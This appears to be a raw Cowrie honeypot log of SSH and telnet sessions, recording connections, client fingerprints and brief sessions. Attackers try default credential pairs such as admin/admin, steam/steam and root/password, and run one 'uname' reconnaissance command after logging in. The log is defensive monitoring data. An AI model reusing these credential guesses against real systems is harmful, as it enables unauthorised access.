{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:13:15.573903Z","src_ip":"83.168.110.85","session":"d0fc6b998828","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:13:15.784217Z","src_ip":"4.184.246.230","session":"0ed46b3e50d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.0.45.175","src_port":47195,"dst_ip":"10.17.0.5","dst_port":23,"session":"12825d1db3e9","protocol":"telnet","message":"New connection: 165.0.45.175:47195 (10.17.0.5:23) [session: 12825d1db3e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:13:17.644269Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":20156,"dst_ip":"10.17.0.5","dst_port":22,"session":"b32c88797b74","protocol":"ssh","message":"New connection: 194.59.206.2:20156 (10.17.0.5:22) [session: b32c88797b74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:13:23.778110Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:13:23.782565Z","src_ip":"194.59.206.2","session":"b32c88797b74","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:13:23.868997Z","src_ip":"194.59.206.2","session":"b32c88797b74","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:13:23.959863Z","src_ip":"194.59.206.2","session":"b32c88797b74","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":43636,"dst_ip":"159.203.135.109","dst_port":22,"session":"5d07a4aede45","protocol":"ssh","message":"New connection: 83.168.110.85:43636 (159.203.135.109:22) [session: 5d07a4aede45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:13:24.171748Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:13:24.176412Z","src_ip":"83.168.110.85","session":"5d07a4aede45","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:13:24.299520Z","src_ip":"83.168.110.85","session":"5d07a4aede45","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"steam","message":"login attempt [steam/steam] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:13:24.663176Z","src_ip":"83.168.110.85","session":"5d07a4aede45","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:13:24.959267Z","src_ip":"83.168.110.85","session":"5d07a4aede45","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:13:24.963278Z","src_ip":"83.168.110.85","session":"5d07a4aede45","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:13:25.090361Z","src_ip":"83.168.110.85","session":"5d07a4aede45","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:13:25.097202Z","src_ip":"83.168.110.85","session":"5d07a4aede45","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.370508909225464,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:13:30.014611Z","src_ip":"165.0.45.175","session":"12825d1db3e9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":49510,"dst_ip":"159.203.135.109","dst_port":22,"session":"5ab4600d872a","protocol":"ssh","message":"New connection: 83.168.110.85:49510 (159.203.135.109:22) [session: 5ab4600d872a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:13:34.323527Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:13:34.326973Z","src_ip":"83.168.110.85","session":"5ab4600d872a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:13:34.446921Z","src_ip":"83.168.110.85","session":"5ab4600d872a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:13:34.812328Z","src_ip":"83.168.110.85","session":"5ab4600d872a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:13:35.194986Z","src_ip":"83.168.110.85","session":"5ab4600d872a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:13:35.198519Z","src_ip":"83.168.110.85","session":"5ab4600d872a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:13:35.321571Z","src_ip":"83.168.110.85","session":"5ab4600d872a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:13:35.326936Z","src_ip":"83.168.110.85","session":"5ab4600d872a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":44618,"dst_ip":"159.203.135.109","dst_port":22,"session":"58122d2016c0","protocol":"ssh","message":"New connection: 193.32.162.151:44618 (159.203.135.109:22) [session: 58122d2016c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:13:40.158886Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:13:40.163944Z","src_ip":"193.32.162.151","session":"58122d2016c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:13:40.264934Z","src_ip":"193.32.162.151","session":"58122d2016c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"docker","password":"docker","message":"login attempt [docker/docker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:13:40.630344Z","src_ip":"193.32.162.151","session":"58122d2016c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:13:41.736761Z","src_ip":"193.32.162.151","session":"58122d2016c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":46892,"dst_ip":"159.203.135.109","dst_port":22,"session":"32a482a851de","protocol":"ssh","message":"New connection: 83.168.110.85:46892 (159.203.135.109:22) [session: 32a482a851de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:13:44.615243Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:13:44.623576Z","src_ip":"83.168.110.85","session":"32a482a851de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:13:44.744593Z","src_ip":"83.168.110.85","session":"32a482a851de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"password","message":"login attempt [root/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:13:45.108453Z","src_ip":"83.168.110.85","session":"32a482a851de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:13:46.269647Z","src_ip":"83.168.110.85","session":"32a482a851de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"4.184.246.230","src_port":57928,"dst_ip":"10.17.0.5","dst_port":22,"session":"ae389285e671","protocol":"ssh","message":"New connection: 4.184.246.230:57928 (10.17.0.5:22) [session: ae389285e671]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:13:54.832786Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:13:54.838216Z","src_ip":"4.184.246.230","session":"ae389285e671","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:13:54.924081Z","src_ip":"4.184.246.230","session":"ae389285e671","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":44852,"dst_ip":"159.203.135.109","dst_port":22,"session":"d63707da35a4","protocol":"ssh","message":"New connection: 83.168.110.85:44852 (159.203.135.109:22) [session: d63707da35a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:13:55.010193Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:13:55.015694Z","src_ip":"83.168.110.85","session":"d63707da35a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:13:55.138438Z","src_ip":"83.168.110.85","session":"d63707da35a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"server1234","message":"login attempt [root/server1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:13:55.296692Z","src_ip":"4.184.246.230","session":"ae389285e671","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@WSX","message":"login attempt [root/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:13:55.504039Z","src_ip":"83.168.110.85","session":"d63707da35a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:13:56.385662Z","src_ip":"4.184.246.230","session":"ae389285e671","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:13:56.763507Z","src_ip":"83.168.110.85","session":"d63707da35a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":46456,"dst_ip":"159.203.135.109","dst_port":22,"session":"253ed916ddba","protocol":"ssh","message":"New connection: 83.168.110.85:46456 (159.203.135.109:22) [session: 253ed916ddba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:14:05.575039Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:14:05.580000Z","src_ip":"83.168.110.85","session":"253ed916ddba","protocol":"ssh"}
